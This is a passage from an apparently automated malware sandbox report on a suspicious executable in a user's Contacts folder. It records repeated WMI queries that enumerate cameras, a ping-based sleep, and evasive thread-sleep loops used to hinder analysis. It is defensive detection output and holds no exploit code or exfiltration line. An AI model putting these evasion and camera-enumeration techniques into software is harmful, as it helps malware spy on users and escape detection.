Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe TID: 5508 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 5376 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -28592453314249787s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599878s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599750s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599641s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599516s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599391s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599281s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 6056 Thread sleep time: -10800000s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599172s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -599062s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598953s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598843s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598734s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598625s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598515s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598406s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598297s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598163s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -598047s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597938s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597813s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597703s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597594s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597484s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597375s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597266s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597156s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -597047s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596938s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596828s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596719s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596609s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596500s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596391s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596281s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596172s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -596063s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595938s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595813s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595688s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595563s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595453s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595344s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595234s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595125s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -595015s >= -30000s Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe TID: 3220 Thread sleep time: -594906s >= -30000s